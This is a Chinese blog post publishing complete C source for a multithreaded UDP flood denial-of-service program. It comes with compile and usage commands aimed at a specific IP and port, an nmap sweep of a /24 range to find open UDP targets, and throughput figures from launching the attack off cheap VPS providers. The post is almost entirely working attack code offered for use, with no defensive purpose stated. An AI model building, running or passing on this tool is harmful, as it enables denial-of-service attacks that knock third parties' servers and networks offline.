C语言实现UDP Flood

/ 0评 / 0

攻击效果显著,所以暴露UDP端口也要选个偏门的啊.

/*

 * udpflood.c

 * 一个简单的UDP Flood攻击程序,用起来比任何软件都简单,更高效,会吃光所有CPU和网络性能.

 *

 * BUFLEN 定义网络MTU,越接近当前网络最大MTU性能最高.

 * CTHREAD 定义线程数,数量越多,越能利用带宽,服务器负载越高.

 *

 * 编译:gcc udpflood.c -lpthread -o udpflood

 * 使用:./udpflood -t 103.116.47.47 -p 29900 -g 5 (-t 指定目标 -p 指定端口 -g 指定发送流量GB)

 * NMAP扫描实用工具:nmap -p 29900 --open -sU 103.116.47.0/24 (扫描103.116.47.0/24 主机的UDP 29900,UDP是一个只要是开放,就可以被攻击的端口.)

 * 网络负载实用工具:nload -u H -U H (查看网络负载)

 *

 * 谨慎使用本软件,产生的各种毛病,纠纷,与我无关.滥用将会导致服务器因为滥用被关闭.

 * 

 * 脚本实测数据 1:Linode $5 Plan (美国) => VMHanus VMH-512MB (英国) ≈ 116MByte/s

 * 脚本实测数据 2:Vultr  $2.5 Plan (美国) => VMHanus VMH-512MB (英国) ≈ 96MByte/s

 * 脚本实测数据 3:Cloudcone $1.99 Plan (美国) => VMHanus VMH-512MB (英国) ≈ 99MByte/s 

 *

 * 请不要使用Virmach发起攻击,除非你想试试什么是严格的TOS.

 */

 

#include <stdio.h>

#include <stdlib.h>

#include <libgen.h>

#include <arpa/inet.h>

#include <sys/socket.h>

#include <netinet/in.h>

#include <netdb.h>

#include <memory.h>

#include <time.h>

#include <pthread.h>

#include <unistd.h>

#include <ctype.h>

#include <errno.h>



#define BUFLEN 1350

#define CTHREAD 10



void diep(char *error);

void *start_flood(void *arg);

void *start_tick(void *arg);



struct con_data

{

    struct sockaddr_storage si_host;

    int sockfd;

};



unsigned long long try = 1 * 1024 * 1024 * 1024;

int try_gb = 5;

int stop = 0;



int main(int argc, char **argv)

{

    int i = 0, c = 0, port = 29900;

    int family = AF_INET, protocol = IPPROTO_UDP;

    char *target = NULL;

    struct sockaddr_in *si_target = NULL;

    struct sockaddr_in6 *si_target6 = NULL;

    int ret, sock_buf_size, error;

    socklen_t optlen;

    struct addrinfo *res, *result, hints;

    char straddr[INET_ADDRSTRLEN] = "";

    char straddr6[INET6_ADDRSTRLEN] = "";

    pthread_t tick_t;

    pthread_t *flood_t = NULL;

    struct con_data info;



    opterr = 0;

    while((c = getopt(argc, argv, "t:6g:p:")) != -1)

    {

        switch(c)

        {

        case 't':  /* 这个参数指定目标主机. */

            target = optarg;

            break;

        case '6':  /* 使用IPV6攻击 */

            family = AF_INET6;

            break;

        case 'p': /* 攻击特定端口 */

            port = atoi(optarg);

            break;

        case 'g': /* 攻击特定端口 */

            try_gb = atoi(optarg) - 1;

            break;

        default:

            diep("看清楚说明再用本软件.");

            break;

        }

    }



    if( try_gb > 1024 || try_gb < 0)

    {

        diep("你指定要发送太多流量了,容易被判定Abuse.");

    }



    if(target == NULL)

    {

        diep("未指定被攻击主机.");

    }



    memset(&info, 0, sizeof(info));



    si_target = (struct sockaddr_in *)&info.si_host;

    si_target6 = (struct sockaddr_in6 *)&info.si_host;

    optlen = sizeof(sock_buf_size);



    srand(time(0));



    if ((info.sockfd = socket(family, SOCK_DGRAM, protocol)) == -1)

    {

        diep("无法创建socket~");

    }



    memset(&hints, 0, sizeof(hints));

    hints.ai_socktype = SOCK_DGRAM;

    hints.ai_family = family;



    if(inet_pton(AF_INET6, target, &si_target6->sin6_addr) == 0)

    {

        if(inet_pton(AF_INET, target, &si_target->sin_addr) == 0)

        {

            /* 解释域名. */

            error = getaddrinfo(target, NULL, &hints, &result);

            if (error != 0)

            {

                return EXIT_FAILURE;

            }



            for(res = result; res != NULL; res = res->ai_next)

            {

                info.si_host = *((struct sockaddr_storage *)res->ai_addr);

                break;

            }



            freeaddrinfo(result);



            switch(family)

            {

            case AF_INET:

                inet_ntop(AF_INET, &si_target->sin_addr, straddr, sizeof(straddr));

                break;

            case AF_INET6:

                inet_ntop(AF_INET6, &si_target6->sin6_addr, straddr6, sizeof(straddr6));

                break;

            }

        }

    }



    switch(family)

    {

    case AF_INET:

        si_target->sin_port = htons(port);

        break;

    case AF_INET6:

        si_target6->sin6_port = htons(port);

        break;

    }



    ret = getsockopt(info.sockfd, SOL_SOCKET, SO_SNDBUF, (char *) & sock_buf_size, &optlen);

    if (ret == -1)

        diep("网络参数获取失败.");



    flood_t = (pthread_t *)malloc(sizeof(pthread_t) * CTHREAD);



    for(i = 0; i < CTHREAD; i++)

    {

        /* 创建攻击线程 */

        pthread_create(&flood_t[i], NULL, start_flood, &info);

        pthread_detach(flood_t[i]);

    }



    /* 创建监控 */

    pthread_create(&tick_t, NULL, start_tick, NULL);

    pthread_detach(tick_t);



    fflush(stdout);



    while (stop == 0)

    {

        sleep(1);

    }



    for(i = 0; i < CTHREAD; i++)

    {

        pthread_cancel(flood_t[i]);

    }

    pthread_cancel(tick_t);

    free(flood_t);



    shutdown(info.sockfd, SHUT_RDWR);

    printf("已停止攻击.
");

    return (EXIT_SUCCESS);

}



void diep(char *error)

{

    fprintf(stderr, "%s: %s
", error, gai_strerror(errno));

    exit(EXIT_FAILURE);

}



void *start_flood(void *arg)

{

    char buffer[BUFLEN] = "";

    int i = 0;

    struct con_data info = *((struct con_data *)(arg));



    memset(buffer, 0, sizeof (buffer));

    for (i = 0; i < BUFLEN; i++)

    {

        buffer[i] = (char) rand() % 255;

    }



    while (1)

    {

        if(try > BUFLEN)

            {

                try -= BUFLEN;

            }

        else

        {

            if(try_gb > 0)

            {

                try = try + 1 * 1024 * 1024 * 1024 - BUFLEN;

                try_gb--;

            }

            else

            {

                try = 0;

            }

        }

        if (sendto(info.sockfd, buffer, BUFLEN, 0, (struct sockaddr *)&info.si_host, sizeof(info.si_host)) == -1)

        {

            diep("对方主机已关闭该端口.");

        }

    }

}



void *start_tick(void *arg)

{

    unsigned long long last_try = try;

    int last_try_gb = 0;

    int i = 0;

    sleep(1);

    while (1)

    {

        if(last_try_gb != try_gb)  /* 意味着一个GB发走了. */

        {

            last_try = last_try + 1 * 1024 * 1024 * 1024;

        }



        printf("攻击剩余 %d GB %llu MB ,每秒有效速率 %llu KB... 
", try_gb, (try / 1024 / 1024), ((last_try - try) / 1024));

        fflush(stdout);



        if(try == 0 && try_gb == 0)

		{

			stop = 1;

		}

        else

        {



            last_try = try;

            last_try_gb = try_gb;



        }

        sleep(1);

    }

}

 

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注